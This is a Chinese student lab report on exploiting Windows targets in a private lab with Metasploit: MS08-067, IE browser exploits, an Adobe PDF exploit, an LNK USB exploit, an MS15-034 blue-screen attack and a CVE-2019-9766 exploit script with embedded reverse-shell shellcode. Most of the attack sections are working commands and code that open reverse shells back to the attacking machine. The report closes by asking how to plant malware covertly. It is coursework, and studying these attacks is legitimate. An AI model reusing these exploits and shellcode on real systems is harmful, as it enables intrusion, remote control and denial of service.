1.2 一個針對瀏覽器的攻擊,如ms11_050;(1分)
1.3 一個針對客戶端的攻擊,如Adobe;(1分)
1.4 成功應用任何一個輔助模塊。(0.5分)
2.基礎問題回答
(1)用自己的話解釋什么是exploit,payload,encode.
- exploit就相當於是載具,將真正要負責攻擊的代碼傳送到靶機中。
- payload也就相當於載荷,是我們exploit中shellcode中的主要功能代碼,exploit把它傳送到靶機中后,它就負責執行相應的攻擊代碼。
- encode也就是編碼,是我們用來修改字符,實現免殺,不讓殺毒軟件很輕易的就發現payload是攻擊代碼。
3.實驗內容
任務一:一個主動攻擊實踐
漏洞MS08_067(成功)
關於漏洞MS08_067的原理
- 安全公告:KB958644
- 時間:2008年底
- 原理:攻擊者利用受害者主機默認開放的SMB服務端口445,發送特殊RPC請求,通過MSRPC接口調用serve服務函數NetPathCanonicalize函數對進行遠程訪問的路徑規范化,而此函數中存在棧緩沖區內存漏洞,可被利用實施遠程代碼執行
- 詳細原理說明:在規范化路徑操作中,就是將路徑字符串中'/'置換成''以及出去相對路徑(例如:'.'),而服務程序在這部分的地址空間檢查存在邏輯漏洞,攻擊者可以在函數除去“..”字符串時,將路徑字符串中的內容復制到路徑串之前的地址空間中,覆蓋掉返回地址執行shellcode(原理類似我們之前所做的緩沖區溢出攻擊)
- 受影響的操作系統:windows 2000/xp/server 2003/server 2008/vista/7 Beta
- 影響:能遠程主動發起對漏洞主機端口的掃描,並且能直接獲得漏洞主機的系統權限,屬於最高嚴重級別的漏洞
攻擊過程
- 靶機:Windows XP SP3 English
- IP:192.168.19.145
- 主機:Kali
- IP:192.168.19.129
- 步驟
1.先用search ms08_067指令查詢一下針對該漏洞可以運用的攻擊模塊:
2.用use exploit/windows/smb/ms08_067_netapi
使用該模塊,再使用show payloads查看可以供我們使用的payload
3.我們的目的是為了獲取靶機的shell,因此這里我們選擇通過反向連接來獲取shell的generic/shell_reverse_tcp當payload,使用指令set payload generic/shell_reverse_tcp
對payload進行設置:
4.接着使用指令show options查看我們需要設置的參數,發現需要設置一個RHOST(遠程主機,即靶機的IP地址)和一個LHOST(本地主機,即攻擊機的IP地址):
5.show targets 查看這個漏洞波及的系統版本共71個,主要是xp和2003。我們也可以通過修改target的值,來選擇我們具體想要攻擊的計算機系統(通常可以采用自動選取,即target設置為0)
6.接着使用exploit指令開始攻擊,攻擊成功后獲取了靶機的shell,使用dir指令查看目錄文件:
問題
-
一開始用的老師給的xp中文版虛擬機,結果一直提示沒有建立會話:
-
從學姐那拷了英文版的xp,后面就沒有出現類似問題。
任務二:一個針對瀏覽器的攻擊
ms11_050(成功)
關於漏洞的原理
- 原理:IE瀏覽器MSHTML模塊在處理無效標簽時存在use-after-free漏洞
- 影響范圍:IE Exploer 7 以及 IE Exploer 8
攻擊過程
- 靶機:Windows XP SP3 English
- IP:192.168.19.145
- 主機:Kali
- IP:192.168.19.129
search ms11_050 搜索漏洞
use windows/browser/ms10_046_shortcut_icon_dllloader 使用漏洞
show payloads 顯示可用攻擊載荷
set payload windows/meterpreter/reverse_tcp 選擇攻擊載荷
options 查看配置信息
set LHOST [ip] 設置監聽地址
set 設置監聽端口
set 設置攻擊Ip
exploit 開始攻擊,並在靶機打開msf給的http網址
sessions -i num 查看開啟的會話
- 攻擊成功
ms14_064(成功)
漏洞原理
- Microsoft Windows OLE遠程代碼執行漏洞,OLE(對象鏈接與嵌入)是一種允許應用程序共享數據和功能的技術,遠程攻擊者利用此漏洞通過構造的網站執行任意代碼,影響Win95+IE3 – Win10+IE11全版本
攻擊過程
- 靶機:Windows XP SP3 English IE8
- IP:192.168.19.145
- 主機:Kali
- IP:192.168.19.129
search ms14_064 搜索漏洞
use windows/browser/ms14_064_ole_code_execution 使用漏洞
show payloads 顯示可用攻擊載荷
set payload windows/meterpreter/reverse_tcp 選擇攻擊載荷
options 查看配置信息
set LHOST 192.168.19.129 設置監聽地址
set LPORT 5230 設置監聽端口
set URIPATH tky 設置url域名
exploit 開始攻擊,並在靶機打開IE瀏覽器輸入生成的網址,kali的8080端口監聽獲得連接,建立會話
sessions -i num 查看開啟的會話
- 攻擊成功
任務三:一個針對客戶端的攻擊
Adobe_toolbutton(成功)
漏洞原理
- 這個漏洞針對Adobe閱讀器9.3.4之前的版本,一個名為SING表對象中一個名為uniqueName的參數造成緩沖區溢出
- 本次攻擊對象:windows xp sp3 Adobe 9.3.2
攻擊過程
1.根據自己的需求選擇攻擊模塊,將其載入。選用exploit/windows/fileformat/adobe_toolbutton
2.使用命令show payloads
選擇要使用的payload(這里使用了windows/meterpreter/reverse_http
)
3.使用命令show options
查看相關參數設置要求
4.設置好相應參數后,開始實施攻擊,發現在/root/.msf4/local/
目錄下成功生成了一個5230.pdf文件:
5.然后將該文件傳送到靶機上(通過共享文件夾)並且在攻擊機上打開監聽
6.將靶機中的pdf文件打開,攻擊機成功獲取到靶機shell:
問題
-
最開始下載了adobe9.3,但是攻擊不成功,總是會閃退
-
重新下載了adobe的版本——9.0即可
CVE-2018-8174(失敗)
攻擊過程
-
1.首先到GitHub上下載用於該漏洞的攻擊模塊
https://github.com/0x09AL/CVE-2018-8174-msf.git
-
2.下載到kali之中並查看一下目錄是否成功下載,將CVE-2018-8174.rb復制到 fileformat 目錄/:
cd CVE-2018-8174-msf/
cp CVE-2018-8174.rb /usr/share/metasploit-framework/modules/exploits/windows/fileformat/ /*將CVE-2018-8174.rtf復制到 exploits 目錄*/
cp CVE-2018-8174.rtf /usr/share/metasploit-framework/data/exploits/
- 啟動 metasploit
use exploit/windows/fileformat/cve_2018_8174
set PAYLOAD windows/meterpreter/reverse_tcp
set srvhost 192.168.19.129
set lhost 192.168.19.129
exploit
-
用靶機的 IE 瀏覽器打開惡意 URL,顯示連接成功,但是沒有返回shell
-
嘗試了老師的方法word打開,這個漏洞只針對32位的word,下載了2013和2010版的都沒能成功,一打開.rtf文件,word就會崩
-
最開始會彈此文檔包含的連接可能引用了其他文件,以為有機會成功,但是不論選“是”還是“否”,最后都會彈內存不足
-
去網上查了一下,別人說告警內存不足一定是中了病毒。。。。。
-
看來這個漏洞已經被修復了。試了很多遍,在WIN7里和WIN10里都試過,還是沒能成功
問題
-
最開始用CP命令拷貝文件到相應的文件夾下后,執行msfconsole會報錯
-
看了一下報錯的內容,最后一句意思大概意思是要使用小寫,修改以后可正常執行
此處一定要將.rb文件名中的CVE變為小寫,.crt不變
CVE-2017-8464(成功)
攻擊過程
-
靶機:Win7
-
在開始之前先通過命令
search CVE:2018 type:exploit
找了一下CVE-2017和2018漏洞有哪些,其實很多英文參數看不懂,這時候百度就是個好東西,有很多漏洞要不就是涉及的知識我不懂,要不就是它需要的環境和軟件我下載不下來,挑來選去選中了這個漏洞
-
打開終端
msfconsole
use exploit/windows/fileformat/cve_2017_8464_lnk_rce
set payload windows/meterpreter/reverse_tcp
show options
set LHOST 192.168.19.129
exploit
- 2.將生成的.lnk文件全部復制到移動磁盤里面(u盤拷貝),然后在msf中開始監聽
use multi/handler
set paylaod windows/meterpreter/reverse_tcp
set LHOST192.168.19.129
exploit
- 3.將可移動磁盤插入靶機中,如果靶機開啟了自動播放,選擇瀏覽文件時即可回彈。
CVE-2019-9766(成功且唯一)
漏洞原理
- Free MP3 CD Ripper是一款音頻格式轉換器。Free MP3 CD Ripper 2.6版本中存在棧緩沖區溢出漏洞。遠程攻擊者可借助特制的.mp3文件利用該漏洞執行任意代碼
攻擊過程
-
靶機:Win10
-
利用msf生成反向連接的shellcode,
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.19.129 lport=7230 -f c --smallest
- 替換腳本中的shellcode.
# Stack-based buffer overflow in Free MP3 CD Ripper 2.6
buffer = "A" * 4116
NSEH = "\xeb\x06\x90\x90"
SEH = "\x84\x20\xe4\x66"
nops = "\x90" * 5
buf = ""
buf = ""
buf += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
buf += "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
buf += "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
buf += "\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
buf += "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
buf += "\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
buf += "\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
buf += "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
buf += "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
buf += "\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
buf += "\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54"
buf += "\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x13\x81"
buf += "\x68\x02\x00\x1c\x3e\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50"
buf += "\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5"
buf += "\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0"
buf += "\xb5\xa2\x56\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8"
buf += "\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00"
buf += "\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68"
buf += "\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x75\xee\xc3";
pad = "B" * (316 - len(nops) - len(buf) )
payload = buffer + NSEH + SEH + nops + buf +pad
try:
f=open("TestFMCR.mp3","w")
print "[+] Creating %s bytes mp3 File..." %len(payload)
f.write(payload)
f.close()
print "[+] mp3 File created successfully!"
except:
print "File cannot be created!"
-
2.運行腳本,生成惡意mp3文件,python FmcrExploit.py
-
3.移動惡意文件到靶機windows10上
-
4.打開msf並設置監聽
-
在主機上打開Free MP3 CD Ripper軟件
-
回連成功!
任務四:應用輔助模塊的攻擊
MS15-034(成功且唯一)
原理
- 在2015年4月安全補丁日,微軟發布的眾多安全更新中,修復了HTTP.sys中一處允許遠程執行代碼漏洞,編號為:CVE-2015-1635(MS15-034 )。利用HTTP.sys的安全漏洞,攻擊者只需要發送惡意的http請求數據包,就可能遠程讀取IIS服務器的內存數據,或使服務器系統藍屏崩潰。根據公告顯示,該漏洞對服務器系統造成了不小的影響,主要影響了包括Windows 7、Windows Server 2008 R2、Windows 8、Windows Server 2012、Windows 8.1 和 Windows Server 2012 R2在內的主流服務器操作系統。
攻擊過程
-
靶機:windows server 2012 R2
- IP:192.168.19.148
-
在正式攻擊之前可以先用auxiliary中的掃描端口模塊掃描受害機開發的端口
-
首先需要安裝IIS服務
-
win12安裝好iis服務后訪問80端口,檢測是否存在漏洞:使用curl發送以下數據
curl http://192.168.19.148 -H "Host: 192.168.19.148" -H "Range: bytes=0-18446744073709551615"
當出現Requested Range Not Satisfiable時說明存在漏洞。 -
在msf中執行過程如下,原理與之前的一樣
use auxiliary/scanner/http/ms15_034_http_sys_memory_dump
show options
set rhosts 192.168.19.148
set threads 10
exploit
- 哈哈哈哈哈哈 藍屏攻擊成功!
4.實踐總結與體會
- 這次實驗找了很多靶機和漏洞,本想實現一個18年的adobeflashplayer漏洞CVE2018-4878,但是找了很久發現都下載不了舊版本的插件,官網又要求其他網站不能提供下載地址,嘗試了很久還是放棄了。接着又找了很多CVE漏洞,漏洞准備其實不算難,難的在於尋找靶機,前后一共找了5個靶機,分別是Win7 、Win Server 8 、 Win Server 12 R2 、 Win XP SP3 Ch-zn 和 Win XP SP3 English。有很多時候電腦反應特別慢,靶機還不上當
- 整個過程給我最大的感受就是官網提示的更新一定要盡早更新,有太多人心心念念着利用舊版本的漏洞實現各種各樣的攻擊,他們不會像我們這樣獲取用戶的shell,而是從中非法獲取私人信息。我還找到了一個可利用U盤進行傳播的漏洞,這也是為什么很多涉密單位必須用加密的U盤,網絡攻擊無時無刻都存在,有不法分子謀取利益,也有國外敵對分子獲取情報,我們一定要提高警惕,不要隨意點未知的鏈接,及時更新,及時殺毒,太重要了。
5.離實戰還缺些什么技術或步驟?
- 如何將惡意軟件隱蔽的植入用戶的電腦!